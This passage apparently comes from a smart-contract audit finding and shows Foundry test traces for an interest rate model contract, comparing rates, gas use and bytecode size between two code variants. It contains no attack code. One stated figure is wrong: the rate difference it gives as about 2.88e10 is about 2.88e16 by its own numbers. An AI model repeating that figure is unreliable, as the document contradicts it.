       [23500] MockPriceOracle::setPrice(MockDecimals: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f],
↪  referenceAsset: [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569], 1000000000000000000 [1e18])
          [104] MockDecimals::asset() [staticcall]
             ← [Revert] EvmError: Revert
          ← [Stop]
       [444384] → new IRMSynth@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
          [279] MockDecimals::decimals() [staticcall]
             ← [Return] 18
          [2520] MockPriceOracle::getQuote(1000000000000000000 [1e18], MockDecimals:
↪  [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], referenceAsset:
↪  [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569]) [staticcall]
             [104] MockDecimals::asset() [staticcall]
                ← [Revert] EvmError: Revert
             [104] MockDecimals::asset() [staticcall]
                ← [Revert] EvmError: Revert
             ← [Return] 1000000000000000000 [1e18]
          ← [Return] 2084 bytes of code
       ← [Stop]

  [54693] IRMSynthTest::test_computeInterestRateView()
       [251] IRMSynth::targetQuote() [staticcall]
          ← [Return] 1000000000000000000 [1e18]
       [8900] MockPriceOracle::setPrice(MockDecimals: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f],
↪  referenceAsset: [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569], 500000000000000000 [5e17])
          [104] MockDecimals::asset() [staticcall]
             ← [Revert] EvmError: Revert
          ← [Stop]
       [6053] IRMSynth::computeInterestRateView(0x0000000000000000000000000000000000000000, 0, 0)
↪  [staticcall]
          [2520] MockPriceOracle::getQuote(1000000000000000000 [1e18], MockDecimals:
↪  [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], referenceAsset:
↪  [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569]) [staticcall]
             [104] MockDecimals::asset() [staticcall]
                ← [Revert] EvmError: Revert
             [104] MockDecimals::asset() [staticcall]
                ← [Revert] EvmError: Revert
             ← [Return] 500000000000000000 [5e17]
          ← [Return] 316887385068114308 [3.168e17]
       [7075] IRMSynth::computeInterestRate(0x0000000000000000000000000000000000000000, 0, 0)
          [2520] MockPriceOracle::getQuote(1000000000000000000 [1e18], MockDecimals:
↪  [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], referenceAsset:
↪  [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569]) [staticcall]
             [104] MockDecimals::asset() [staticcall]
                ← [Revert] EvmError: Revert
             [104] MockDecimals::asset() [staticcall]
                ← [Revert] EvmError: Revert
             ← [Return] 500000000000000000 [5e17]
          ← [Return] 316887385068114308 [3.168e17]
       [527] IRMSynth::getIRMData() [staticcall]
          ← [Return] IRMData({ lastUpdated: 1, lastRate: 316887385068114308 [3.168e17] })
       [227] IRMSynth::ADJUST_INTERVAL() [staticcall]
          ← [Return] 3600
       [0] VM::warp(3601)
          ← [Return]
       [4053] IRMSynth::computeInterestRateView(0x0000000000000000000000000000000000000000, 0, 0)
↪  [staticcall]
          [2520] MockPriceOracle::getQuote(1000000000000000000 [1e18], MockDecimals:
↪  [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], referenceAsset:
↪  [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569]) [staticcall]
             [104] MockDecimals::asset() [staticcall]
                ← [Revert] EvmError: Revert
             [104] MockDecimals::asset() [staticcall]
                ← [Revert] EvmError: Revert
             ← [Return] 500000000000000000 [5e17]
          ← [Return] 316887385068114308 [3.168e17]
       [527] IRMSynth::getIRMData() [staticcall]
          ← [Return] IRMData({ lastUpdated: 1, lastRate: 316887385068114308 [3.168e17] })
       [4275] IRMSynth::computeInterestRate(0x0000000000000000000000000000000000000000, 0, 0)
```

```
          [2520] MockPriceOracle::getQuote(1000000000000000000 [1e18], MockDecimals:
↪  [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], referenceAsset:
↪  [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569]) [staticcall]
             [104] MockDecimals::asset() [staticcall]
                ← [Revert] EvmError: Revert
             [104] MockDecimals::asset() [staticcall]
                ← [Revert] EvmError: Revert
             ← [Return] 500000000000000000 [5e17]
          ← [Return] 316887385068114308 [3.168e17]
       [527] IRMSynth::getIRMData() [staticcall]
          ← [Return] IRMData({ lastUpdated: 3601, lastRate: 316887385068114308 [3.168e17] })
       ← [Stop]

  Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 583.13µs (138.03µs CPU time)

  Ran 1 test suite in 1.09s (583.13µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

  - [Return] IRMData({ lastUpdated: 3601, lastRate: 316887385068114308 [3.168e17] })

The difference between the above two test results:

- `[Return] IRMData({ lastUpdated: 3601, lastRate: 288079440971013007 [2.88e17] })`
- `[Return] IRMData({ lastUpdated: 3601, lastRate: 316887385068114308 [3.168e17] })`

After fixing the bug, the rate is 28807944097 higher (or `2.880e10` higher).

- All the below tests demonstrate some form of either gas and/or bytecode savings after fixing the bug, and are not required to prove the bug exists:
- `forge test --contracts test/unit/irm/IRMSynth.t.sol --mt test_IRMSynth_InitialRate -vvvvv`
  - using `uint256 quote = targetQuote;` and `} else {`

  Test result:

```
  $ forge test --contracts test/unit/irm/IRMSynth.t.sol --mt test_IRMSynth_InitialRate -vvvvv
  [] Compiling...
  [] Compiling 31 files with Solc 0.8.24
  [] Solc 0.8.24 finished in 928.75ms
  Compiler run successful!

  Ran 1 test for test/unit/irm/IRMSynth.t.sol:IRMSynthTest
  [PASS] test_IRMSynth_InitialRate() (gas: 11951)
  Traces:
  [1085054] IRMSynthTest::setUp()
       [48994] → new MockDecimals@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
          ← [Return] 133 bytes of code
       [453686] → new MockPriceOracle@0x2e234DAe75C793f67A35089C9d99245E1C58470b
          ← [Return] 2266 bytes of code
       [23500] MockPriceOracle::setPrice(MockDecimals: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f],
↪  referenceAsset: [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569], 1000000000000000000 [1e18])
          [104] MockDecimals::asset() [staticcall]
             ← [Revert] EvmError: Revert
          ← [Stop]
       [406887] → new IRMSynth@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
          [279] MockDecimals::decimals() [staticcall]
             ← [Return] 18
          [2520] MockPriceOracle::getQuote(1000000000000000000 [1e18], MockDecimals:
↪  [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], referenceAsset:
↪  [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569]) [staticcall]
             [104] MockDecimals::asset() [staticcall]
                ← [Revert] EvmError: Revert
             [104] MockDecimals::asset() [staticcall]
                ← [Revert] EvmError: Revert
             ← [Return] 1000000000000000000 [1e18]
          ← [Return] 1897 bytes of code
       ← [Stop]

  [11951] IRMSynthTest::test_IRMSynth_InitialRate()
       [2800] IRMSynth::computeInterestRate(0x0000000000000000000000000000000000000000, 0, 0)
          ← [Return] 158443692534057154 [1.584e17]
       [372] IRMSynth::BASE_RATE() [staticcall]
          ← [Return] 158443692534057154 [1.584e17]
       [0] VM::assertEq(158443692534057154 [1.584e17], 158443692534057154 [1.584e17]) [staticcall]
```

```
            ← [Return]
        ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 479.18µs (41.06µs CPU time)

Ran 1 test suite in 1.06s (479.18µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

- `[Return] 1897 bytes of code`

- `forge test --contracts test/unit/irm/IRMSynth.t.sol --mt test_IRMSynth_InitialRate -vvvvv`
  - using `uint256 quote = targetQuote;` and `} else if (quote > targetQuote) {`

  Test result:

```
$ forge test --contracts test/unit/irm/IRMSynth.t.sol --mt test_IRMSynth_InitialRate -vvvvv
[] Compiling...
[] Compiling 2 files with Solc 0.8.24
[] Solc 0.8.24 finished in 848.66ms
Compiler run successful!

Ran 1 test for test/unit/irm/IRMSynth.t.sol:IRMSynthTest
[PASS] test_IRMSynth_InitialRate() (gas: 11951)
Traces:
[1063209] IRMSynthTest::setUp()
    [48994] → new MockDecimals@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
        ← [Return] 133 bytes of code
    [453686] → new MockPriceOracle@0x2e234DAe75C793f67A35089C9d99245E1C58470b
        ← [Return] 2266 bytes of code
    [23500] MockPriceOracle::setPrice(MockDecimals: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f],
↪  referenceAsset: [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569], 1000000000000000000 [1e18])
        [104] MockDecimals::asset() [staticcall]
            ← [Revert] EvmError: Revert
        ← [Stop]
    [385062] → new IRMSynth@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
        [279] MockDecimals::decimals() [staticcall]
            ← [Return] 18
        [2520] MockPriceOracle::getQuote(1000000000000000000 [1e18], MockDecimals:
↪  [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], referenceAsset:
↪  [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569]) [staticcall]
            [104] MockDecimals::asset() [staticcall]
                ← [Revert] EvmError: Revert
            [104] MockDecimals::asset() [staticcall]
                ← [Revert] EvmError: Revert
            ← [Return] 1000000000000000000 [1e18]
        ← [Return] 1788 bytes of code
    ← [Stop]

[11951] IRMSynthTest::test_IRMSynth_InitialRate()
    [2800] IRMSynth::computeInterestRate(0x0000000000000000000000000000000000000000, 0, 0)
        ← [Return] 158443692534057154 [1.584e17]
    [372] IRMSynth::BASE_RATE() [staticcall]
        ← [Return] 158443692534057154 [1.584e17]
    [0] VM::assertEq(158443692534057154 [1.584e17], 158443692534057154 [1.584e17]) [staticcall]
        ← [Return]
    ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 534.00µs (43.42µs CPU time)

Ran 1 test suite in 1.11s (534.00µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

- `[Return] 1788 bytes of code`

Difference between the above two test results:

- `[Return] 1897 bytes of code`
- `[Return] 1788 bytes of code`

109 bytes of code difference

- `forge test --contracts test/unit/irm/IRMSynth.t.sol --mt test_IRMSynth_AjustInterval -vvvvv`
- using `uint256 quote = targetQuote;` and `} else {`.

Test result:

```
$ forge test --contracts test/unit/irm/IRMSynth.t.sol --mt test_IRMSynth_AjustInterval -vvvvv
[] Compiling...
[] Compiling 2 files with Solc 0.8.24
[] Solc 0.8.24 finished in 875.07ms
Compiler run successful!

Ran 1 test for test/unit/irm/IRMSynth.t.sol:IRMSynthTest
[PASS] test_IRMSynth_AjustInterval() (gas: 20356)
Traces:
[1085054] IRMSynthTest::setUp()
    [48994] → new MockDecimals@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
      ← [Return] 133 bytes of code
    [453686] → new MockPriceOracle@0x2e234DAe75C793f67A35089C9d99245E1C58470b
      ← [Return] 2266 bytes of code
    [23500] MockPriceOracle::setPrice(MockDecimals: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f],
↪  referenceAsset: [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569], 1000000000000000000 [1e18])
      [104] MockDecimals::asset() [staticcall]
        ← [Revert] EvmError: Revert
      ← [Stop]
    [406887] → new IRMSynth@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
      [279] MockDecimals::decimals() [staticcall]
        ← [Return] 18
      [2520] MockPriceOracle::getQuote(1000000000000000000 [1e18], MockDecimals:
↪  [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], referenceAsset:
↪  [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569]) [staticcall]
        [104] MockDecimals::asset() [staticcall]
          ← [Revert] EvmError: Revert
        [104] MockDecimals::asset() [staticcall]
          ← [Revert] EvmError: Revert
        ← [Return] 1000000000000000000 [1e18]
      ← [Return] 1897 bytes of code
    ← [Stop]

[20356] IRMSynthTest::test_IRMSynth_AjustInterval()
    [227] IRMSynth::ADJUST_INTERVAL() [staticcall]
      ← [Return] 3600
    [0] VM::warp(3601)
      ← [Return]
    [6275] IRMSynth::computeInterestRate(0x0000000000000000000000000000000000000000, 0, 0)
      ← [Return] 158443692534057154 [1.584e17]
    [527] IRMSynth::getIRMData() [staticcall]
      ← [Return] IRMData({ lastUpdated: 3601, lastRate: 158443692534057154 [1.584e17] })
    [0] VM::assertEq(3601, 3601) [staticcall]
      ← [Return]
    [0] VM::warp(5401)
      ← [Return]
    [800] IRMSynth::computeInterestRate(0x0000000000000000000000000000000000000000, 0, 0)
      ← [Return] 158443692534057154 [1.584e17]
    [527] IRMSynth::getIRMData() [staticcall]
      ← [Return] IRMData({ lastUpdated: 3601, lastRate: 158443692534057154 [1.584e17] })
    [0] VM::assertEq(3601, 3601) [staticcall]
      ← [Return]
    ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 506.76µs (63.33µs CPU time)

Ran 1 test suite in 1.11s (506.76µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

  - `[Return] 1897 bytes of code`

- `forge test --contracts test/unit/irm/IRMSynth.t.sol --mt test_IRMSynth_AjustInterval -vvvvv`
  - using `uint256 quote = targetQuote;` and `} else if (quote > targetQuote) {`

Test result:

```
$ forge test --contracts test/unit/irm/IRMSynth.t.sol --mt test_IRMSynth_AjustInterval -vvvvv
[] Compiling...
[] Compiling 2 files with Solc 0.8.24
[] Solc 0.8.24 finished in 868.48ms
Compiler run successful!

Ran 1 test for test/unit/irm/IRMSynth.t.sol:IRMSynthTest
[PASS] test_IRMSynth_AjustInterval() (gas: 20145)
```

```
Traces:
[1063209] IRMSynthTest::setUp()
     [48994]  new MockDecimals@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
         [Return] 133 bytes of code
     [453686]  new MockPriceOracle@0x2e234DAe75C793f67A35089C9d99245E1C58470b
         [Return] 2266 bytes of code
     [23500] MockPriceOracle::setPrice(MockDecimals: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f],
↪  referenceAsset: [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569], 1000000000000000000 [1e18])
        [104] MockDecimals::asset() [staticcall]
            [Revert] EvmError: Revert
         [Stop]
     [385062]  new IRMSynth@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
        [279] MockDecimals::decimals() [staticcall]
            [Return] 18
        [2520] MockPriceOracle::getQuote(1000000000000000000 [1e18], MockDecimals:
↪  [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], referenceAsset:
↪  [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569]) [staticcall]
           [104] MockDecimals::asset() [staticcall]
               [Revert] EvmError: Revert
           [104] MockDecimals::asset() [staticcall]
               [Revert] EvmError: Revert
            [Return] 1000000000000000000 [1e18]
         [Return] 1788 bytes of code
      [Stop]

[20145] IRMSynthTest::test_IRMSynth_AjustInterval()
     [227] IRMSynth::ADJUST_INTERVAL() [staticcall]
         [Return] 3600
     [0] VM::warp(3601)
         [Return]
     [6064] IRMSynth::computeInterestRate(0x0000000000000000000000000000000000000000, 0, 0)
         [Return] 158443692534057154 [1.584e17]
     [527] IRMSynth::getIRMData() [staticcall]
         [Return] IRMData({ lastUpdated: 3601, lastRate: 158443692534057154 [1.584e17] })
     [0] VM::assertEq(3601, 3601) [staticcall]
         [Return]
     [0] VM::warp(5401)
         [Return]
     [800] IRMSynth::computeInterestRate(0x0000000000000000000000000000000000000000, 0, 0)
         [Return] 158443692534057154 [1.584e17]
     [527] IRMSynth::getIRMData() [staticcall]
         [Return] IRMData({ lastUpdated: 3601, lastRate: 158443692534057154 [1.584e17] })
     [0] VM::assertEq(3601, 3601) [staticcall]
         [Return]
      [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 528.27s (62.30s CPU time)

Ran 1 test suite in 1.10s (528.27s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

  - `[Return] 1788 bytes of code`

Difference between the above two test results:

- `[Return] 1897 bytes of code`
- `[Return] 1788 bytes of code`

109 bytes of code difference

- `forge test --contracts test/unit/irm/IRMSynth.t.sol --mt test_IRMSynth_RateMinimum -vvvvv`
  - using `uint256 quote = targetQuote;` and `} else {`

  Test result:

```
$ forge test --contracts test/unit/irm/IRMSynth.t.sol --mt test_IRMSynth_RateMinimum -vvvvv
[] Compiling...
[] Compiling 2 files with Solc 0.8.24
[] Solc 0.8.24 finished in 860.75ms
Compiler run successful!

Ran 1 test for test/unit/irm/IRMSynth.t.sol:IRMSynthTest
[PASS] test_IRMSynth_RateMinimum() (gas: 37502)
Traces:
[1085054] IRMSynthTest::setUp()
```

```
      [48994] → new MockDecimals@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
        ← [Return] 133 bytes of code
      [453686] → new MockPriceOracle@0x2e234DAe75C793f67A35089C9d99245E1C58470b
        ← [Return] 2266 bytes of code
      [23500] MockPriceOracle::setPrice(MockDecimals: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f],
↪  referenceAsset: [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569], 1000000000000000000 [1e18])
        [104] MockDecimals::asset() [staticcall]
          ← [Revert] EvmError: Revert
        ← [Stop]
      [406887] → new IRMSynth@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
        [279] MockDecimals::decimals() [staticcall]
          ← [Return] 18
        [2520] MockPriceOracle::getQuote(1000000000000000000 [1e18], MockDecimals:
↪  [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], referenceAsset:
↪  [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569]) [staticcall]
          [104] MockDecimals::asset() [staticcall]
            ← [Revert] EvmError: Revert
          [104] MockDecimals::asset() [staticcall]
            ← [Revert] EvmError: Revert
          ← [Return] 1000000000000000000 [1e18]
        ← [Return] 1897 bytes of code
      ← [Stop]

  [37502] IRMSynthTest::test_IRMSynth_RateMinimum()
      [251] IRMSynth::targetQuote() [staticcall]
        ← [Return] 1000000000000000000 [1e18]
      [8900] MockPriceOracle::setPrice(MockDecimals: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f],
↪  referenceAsset: [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569], 2000000000000000000 [2e18])
        [104] MockDecimals::asset() [staticcall]
          ← [Revert] EvmError: Revert
        ← [Stop]
      [227] IRMSynth::ADJUST_INTERVAL() [staticcall]
        ← [Return] 3600
      [0] VM::warp(3601)
        ← [Return]
      [2527] IRMSynth::getIRMData() [staticcall]
        ← [Return] IRMData({ lastUpdated: 1, lastRate: 158443692534057154 [1.584e17] })
      [4275] IRMSynth::computeInterestRate(0x0000000000000000000000000000000000000000, 0, 0)
        ← [Return] 158443692534057154 [1.584e17]
      [527] IRMSynth::getIRMData() [staticcall]
        ← [Return] IRMData({ lastUpdated: 3601, lastRate: 158443692534057154 [1.584e17] })
      [0] VM::assertEq(3601, 3601) [staticcall]
        ← [Return]
      [0] VM::assertEq(158443692534057154 [1.584e17], 158443692534057154 [1.584e17]) [staticcall]
        ← [Return]
      ← [Stop]

  Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 501.52µs (68.53µs CPU time)

  Ran 1 test suite in 1.06s (501.52µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

- `[Return] 1897 bytes of code`
- `(gas: 37502)`

- `forge test --contracts test/unit/irm/IRMSynth.t.sol --mt test_IRMSynth_RateMinimum -vvvvv`
  - using `uint256 quote = targetQuote;` and `} else if (quote > targetQuote) {`

Test result:

```
$ forge test --contracts test/unit/irm/IRMSynth.t.sol --mt test_IRMSynth_RateMinimum -vvvvv
[] Compiling...
[] Compiling 2 files with Solc 0.8.24
[] Solc 0.8.24 finished in 843.79ms
Compiler run successful!

Ran 1 test for test/unit/irm/IRMSynth.t.sol:IRMSynthTest
[PASS] test_IRMSynth_RateMinimum() (gas: 37291)
Traces:
[1063209] IRMSynthTest::setUp()
      [48994] → new MockDecimals@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
        ← [Return] 133 bytes of code
      [453686] → new MockPriceOracle@0x2e234DAe75C793f67A35089C9d99245E1C58470b
        ← [Return] 2266 bytes of code
```

```
      [23500] MockPriceOracle::setPrice(MockDecimals: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f],
↪  referenceAsset: [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569], 1000000000000000000 [1e18])
         [104] MockDecimals::asset() [staticcall]
            ← [Revert] EvmError: Revert
         ← [Stop]
      [385062] → new IRMSynth@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
         [279] MockDecimals::decimals() [staticcall]
            ← [Return] 18
         [2520] MockPriceOracle::getQuote(1000000000000000000 [1e18], MockDecimals:
↪  [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], referenceAsset:
↪  [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569]) [staticcall]
            [104] MockDecimals::asset() [staticcall]
               ← [Revert] EvmError: Revert
            [104] MockDecimals::asset() [staticcall]
               ← [Revert] EvmError: Revert
            ← [Return] 1000000000000000000 [1e18]
         ← [Return] 1788 bytes of code
      ← [Stop]

  [37291] IRMSynthTest::test_IRMSynth_RateMinimum()
      [251] IRMSynth::targetQuote() [staticcall]
         ← [Return] 1000000000000000000 [1e18]
      [8900] MockPriceOracle::setPrice(MockDecimals: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f],
↪  referenceAsset: [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569], 2000000000000000000 [2e18])
         [104] MockDecimals::asset() [staticcall]
            ← [Revert] EvmError: Revert
         ← [Stop]
      [227] IRMSynth::ADJUST_INTERVAL() [staticcall]
         ← [Return] 3600
      [0] VM::warp(3601)
         ← [Return]
      [2527] IRMSynth::getIRMData() [staticcall]
         ← [Return] IRMData({ lastUpdated: 1, lastRate: 158443692534057154 [1.584e17] })
      [4064] IRMSynth::computeInterestRate(0x0000000000000000000000000000000000000000, 0, 0)
         ← [Return] 158443692534057154 [1.584e17]
      [527] IRMSynth::getIRMData() [staticcall]
         ← [Return] IRMData({ lastUpdated: 3601, lastRate: 158443692534057154 [1.584e17] })
      [0] VM::assertEq(3601, 3601) [staticcall]
         ← [Return]
      [0] VM::assertEq(158443692534057154 [1.584e17], 158443692534057154 [1.584e17]) [staticcall]
         ← [Return]
      ← [Stop]

  Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 512.56µs (69.50µs CPU time)

  Ran 1 test suite in 1.24s (512.56µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

  - `[Return] 1788 bytes of code`
  - `(gas: 37291)`

Differences between above two test results:

- `[Return] 1897 bytes of code`
- `[Return] 1788 bytes of code`

109 bytes of code difference, and

- (gas: 37502)
- (gas: 37291)

Seems 211 less gas consumed when using `} else if (quote > targetQuote) {` for this specific test.

- `forge test --contracts test/unit/irm/IRMSynth.t.sol --mt test_computeInterestRateView -vvvvv`
- using `uint256 quote = targetQuote;` and `} else {`

  Test result:

```
$ forge test --contracts test/unit/irm/IRMSynth.t.sol --mt test_computeInterestRateView -vvvvv
[] Compiling...
[] Compiling 2 files with Solc 0.8.24
[] Solc 0.8.24 finished in 854.85ms
Compiler run successful!
```

```
  Ran 1 test for test/unit/irm/IRMSynth.t.sol:IRMSynthTest
  [FAIL. Reason: assertion failed: 158443692534057154 == 158443692534057154]
↪  test_computeInterestRateView() (gas: 37098)
  Traces:
  [1085054] IRMSynthTest::setUp()
       [48994] → new MockDecimals@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
          ← [Return] 133 bytes of code
       [453686] → new MockPriceOracle@0x2e234DAe75C793f67A35089C9d99245E1C58470b
          ← [Return] 2266 bytes of code
       [23500] MockPriceOracle::setPrice(MockDecimals: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f],
↪  referenceAsset: [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569], 1000000000000000000 [1e18])
          [104] MockDecimals::asset() [staticcall]
             ← [Revert] EvmError: Revert
          ← [Stop]
       [406887] → new IRMSynth@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
          [279] MockDecimals::decimals() [staticcall]
             ← [Return] 18
          [2520] MockPriceOracle::getQuote(1000000000000000000 [1e18], MockDecimals:
↪  [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], referenceAsset:
↪  [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569]) [staticcall]
             [104] MockDecimals::asset() [staticcall]
                ← [Revert] EvmError: Revert
             [104] MockDecimals::asset() [staticcall]
                ← [Revert] EvmError: Revert
             ← [Return] 1000000000000000000 [1e18]
          ← [Return] 1897 bytes of code
       ← [Stop]

  [37098] IRMSynthTest::test_computeInterestRateView()
       [251] IRMSynth::targetQuote() [staticcall]
          ← [Return] 1000000000000000000 [1e18]
       [8900] MockPriceOracle::setPrice(MockDecimals: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f],
↪  referenceAsset: [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569], 500000000000000000 [5e17])
          [104] MockDecimals::asset() [staticcall]
             ← [Revert] EvmError: Revert
          ← [Stop]
       [2771] IRMSynth::computeInterestRateView(0x0000000000000000000000000000000000000000, 0, 0)
↪  [staticcall]
          ← [Return] 158443692534057154 [1.584e17]
       [800] IRMSynth::computeInterestRate(0x0000000000000000000000000000000000000000, 0, 0)
          ← [Return] 158443692534057154 [1.584e17]
       [527] IRMSynth::getIRMData() [staticcall]
          ← [Return] IRMData({ lastUpdated: 1, lastRate: 158443692534057154 [1.584e17] })
       [0] VM::assertEq(158443692534057154 [1.584e17], 158443692534057154 [1.584e17]) [staticcall]
          ← [Return]
       [227] IRMSynth::ADJUST_INTERVAL() [staticcall]
          ← [Return] 3600
       [0] VM::warp(3601)
          ← [Return]
       [1247] IRMSynth::computeInterestRateView(0x0000000000000000000000000000000000000000, 0, 0)
↪  [staticcall]
          ← [Return] 158443692534057154 [1.584e17]
       [527] IRMSynth::getIRMData() [staticcall]
          ← [Return] IRMData({ lastUpdated: 1, lastRate: 158443692534057154 [1.584e17] })
       [0] VM::assertNotEq(158443692534057154 [1.584e17], 158443692534057154 [1.584e17]) [staticcall]
          ← [Revert] assertion failed: 158443692534057154 == 158443692534057154
       ← [Revert] assertion failed: 158443692534057154 == 158443692534057154

  Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 539.41µs (76.77µs CPU time)

  Ran 1 test suite in 1.07s (539.41µs CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

  Failing tests:
  Encountered 1 failing test in test/unit/irm/IRMSynth.t.sol:IRMSynthTest
  [FAIL. Reason: assertion failed: 158443692534057154 == 158443692534057154]
↪  test_computeInterestRateView() (gas: 37098)

  Encountered a total of 1 failing tests, 0 tests succeeded
```

  - [Return] 1897 bytes of code
  - (gas: 37098)

- forge test --contracts test/unit/irm/IRMSynth.t.sol --mt test_computeInterestRateView -vvvvv

- using `uint256 quote = targetQuote;` and `} else if (quote > targetQuote) {`

Test result:

```
$ forge test --contracts test/unit/irm/IRMSynth.t.sol --mt test_computeInterestRateView -vvvvv
[] Compiling...
[] Compiling 2 files with Solc 0.8.24
[] Solc 0.8.24 finished in 853.32ms
Compiler run successful!

Ran 1 test for test/unit/irm/IRMSynth.t.sol:IRMSynthTest
[FAIL. Reason: assertion failed: 158443692534057154 == 158443692534057154]
↪  test_computeInterestRateView() (gas: 36887)
Traces:
[1063209] IRMSynthTest::setUp()
    [48994] → new MockDecimals@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
      ← [Return] 133 bytes of code
    [453686] → new MockPriceOracle@0x2e234DAe75C793f67A35089C9d99245E1C58470b
      ← [Return] 2266 bytes of code
    [23500] MockPriceOracle::setPrice(MockDecimals: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f],
↪  referenceAsset: [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569], 1000000000000000000 [1e18])
      [104] MockDecimals::asset() [staticcall]
        ← [Revert] EvmError: Revert
      ← [Stop]
    [385062] → new IRMSynth@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
      [279] MockDecimals::decimals() [staticcall]
        ← [Return] 18
      [2520] MockPriceOracle::getQuote(1000000000000000000 [1e18], MockDecimals:
↪  [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], referenceAsset:
↪  [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569]) [staticcall]
        [104] MockDecimals::asset() [staticcall]
          ← [Revert] EvmError: Revert
        [104] MockDecimals::asset() [staticcall]
          ← [Revert] EvmError: Revert
        ← [Return] 1000000000000000000 [1e18]
      ← [Return] 1788 bytes of code
    ← [Stop]

[36887] IRMSynthTest::test_computeInterestRateView()
    [251] IRMSynth::targetQuote() [staticcall]
      ← [Return] 1000000000000000000 [1e18]
    [8900] MockPriceOracle::setPrice(MockDecimals: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f],
↪  referenceAsset: [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569], 500000000000000000 [5e17])
      [104] MockDecimals::asset() [staticcall]
        ← [Revert] EvmError: Revert
      ← [Stop]
    [2771] IRMSynth::computeInterestRateView(0x0000000000000000000000000000000000000000, 0, 0)
↪  [staticcall]
      ← [Return] 158443692534057154 [1.584e17]
    [800] IRMSynth::computeInterestRate(0x0000000000000000000000000000000000000000, 0, 0)
      ← [Return] 158443692534057154 [1.584e17]
    [527] IRMSynth::getIRMData() [staticcall]
